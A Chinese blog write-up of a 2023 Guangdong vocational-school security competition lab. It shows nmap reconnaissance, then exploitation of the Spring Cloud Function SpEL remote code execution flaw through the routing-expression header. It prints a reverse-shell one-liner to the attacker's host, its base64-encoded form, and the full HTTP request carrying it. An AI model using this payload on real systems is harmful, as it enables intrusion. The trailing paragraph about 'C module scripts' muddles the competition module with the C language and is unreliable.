2023年广东省中职网络安全竞赛C模块Linux靶机解析(详细每一步)

2023年广东省中职网络安全竞赛C模块Linux靶机解析(详细每一步)

需要环境可以私信博主

C模块描述

漏洞信息发掘

         漏洞复现过程


C模块描述

一、项目和任务描述:

假定你是某企业的网络安全渗透测试工程师,负责企业某些服务器的安全防护,为了更好的寻找企业网络中可能存在的各种问题和漏洞。你尝试利用各种攻击手段,攻击特定靶机,以便了解最新的攻击手段和技术,了解网络黑客的心态,从而改善您的防御策略。

请根据《赛场参数表》提供的信息,在客户端使用谷歌浏览器登录答题平台。

二、操作系统环境说明:

客户机操作系统:Windows 10/Windows7

靶机服务器操作系统:Linux/Windows

三、漏洞情况说明:

1.服务器中的漏洞可能是常规漏洞也可能是系统漏洞;

2.靶机服务器上的网站可能存在命令注入的漏洞,要求选手找到命令注入的相关漏洞,利用此漏洞获取一定权限;

3.靶机服务器上的网站可能存在文件上传漏洞,要求选手找到文件上传的相关漏洞,利用此漏洞获取一定权限;

4.靶机服务器上的网站可能存在文件包含漏洞,要求选手找到文件包含的相关漏洞,与别的漏洞相结合获取一定权限并进行提权;

5.操作系统提供的服务可能包含了远程代码执行的漏洞,要求用户找到远程代码执行的服务,并利用此漏洞获取系统权限;

6.操作系统提供的服务可能包含了缓冲区溢出漏洞,要求用户找到缓冲区溢出漏洞的服务,并利用此漏洞获取系统权限;

7.操作系统中可能存在一些系统后门,选手可以找到此后门,并利用预留的后门直接获取到系统权限。

四、注意事项:

1.不能对裁判服务器进行攻击,警告一次后若继续攻击将判令该参赛队离场;

2.flag值为每台靶机服务器的唯一性标识,每台靶机服务器仅有1个;

3.选手攻入靶机后不得对靶机进行关闭端口、修改密码、重启或者关闭靶机、删除或者修改flag、建立不必要的文件等操作;

4.在登录自动评分系统后,提交靶机服务器的flag值,同时需要指定靶机服务器的IP地址;

5.赛场根据难度不同设有不同基础分值的靶机,对于每个靶机服务器,前三个获得flag值的参赛队在基础分上进行加分,本阶段每个队伍的总分均计入阶段得分,具体加分规则参照赛场评分标准;

6.本环节不予补时。

漏洞信息发掘

1、先试用nmap探测靶机开放服务信息,如下图所示

发现靶机开放22、139、445、8080端口,于是我这里对22、445端口实施攻击均失败(失败过程就不展示了)

接下来只剩下8080端口,执行访问8080端口

这不是报错界面,这是一个提示界面,于是我们网上浏览得知

漏洞信息

漏洞名称:Spring Cloud Function SpEL 远程代码执行漏洞

危害等级:高危

漏洞类型:中间件漏洞

漏洞概述:由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码

漏洞复现过程

访问漏洞url:http://192.168.94.145:8080/functionRouter

POC:spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")

对靶机进行抓包,并将包转换为post类型,在转换后的包内添加poc,并发送:如下图

这里可以看出我们在包中添加的信息已经发送给靶机,做出了回应

那么我们可以做一个反弹shell添加进去,让靶机反弹shell回来

这里我用我的kali作为反弹机子,IP地址为192.168.94.139

然后制造反弹shell命令,这里我推荐一个制作shell网站

地址:反弹shell生成器

得到:

sh -i >& /dev/tcp/192.168.94.139/9998 0>&1

然后我们得对命令进行base64加密

这里也推荐一个工具网站

地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T

得出:

bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC45NC4xMzkvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}

kali linux开启监听,然后我们将加密后的命令加入数据包并发给靶机

POST /functionRouter HTTP/1.1

Host: 192.168.94.145:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC45NC4xMzkvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}")

Content-Length: 51

Connection: close

Upgrade-Insecure-Requests: 1

然后kali中成功返回shell

然后C模块比赛中,虽然进入了shell,但是靶机这里找不到flagvalue.txt文件,根据比赛选手说,他们也是在赛场上找不到flagvalue的文件,可能这个环境没做好,我们这里也是在/root目录下没有找到flagvalue文件

但是我通过特殊方式进入靶机查看确实是有flagvalue.txt文件的(苦笑了)

  • 0
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
中职网络安全C模块脚本主要用于编写和执行与网络安全相关的任务和功能。在网络安全领域,C语言是一种常用的编程语言,因其性能强大和灵活性高而备受青睐。 首先,C模块脚本的主要目标是帮助开发人员编写出高效、可靠的网络安全脚本。通过使用C语言,可以实现对网络协议、数据包分析、入侵检测等关键任务的编码和实现。这样可以确保脚本的执行效率高,并能够快速地响应和处理各种网络威胁。 其次,C模块脚本提供了各种网络安全相关的函数和库,用于处理多样化的网络安全任务。例如,可以利用C语言中的套接字编程功能来实现网络扫描、漏洞检测等任务。同时,C模块脚本还可以利用各种加密算法和安全协议来保护网络通信的机密性和完整性。 此外,C模块脚本还支持与其他编程语言和工具的集成。通过使用C语言,可以实现与其他网络安全工具和框架的无缝集成,进一步提高脚本的功能和灵活性。另外,C模块脚本也可以通过调用系统级别的API来实现对操作系统底层的网络安全功能的访问和控制。 总之,中职网络安全C模块脚本是网络安全领域中必不可少的工具之一。通过使用C语言,可以编写出高效、可靠的网络安全脚本,帮助实现网络威胁的监测和处理,提升网络安全的水平。同时,C模块脚本还可以与其他编程语言和工具进行集成,增强其功能和适用性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

旺仔Sec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值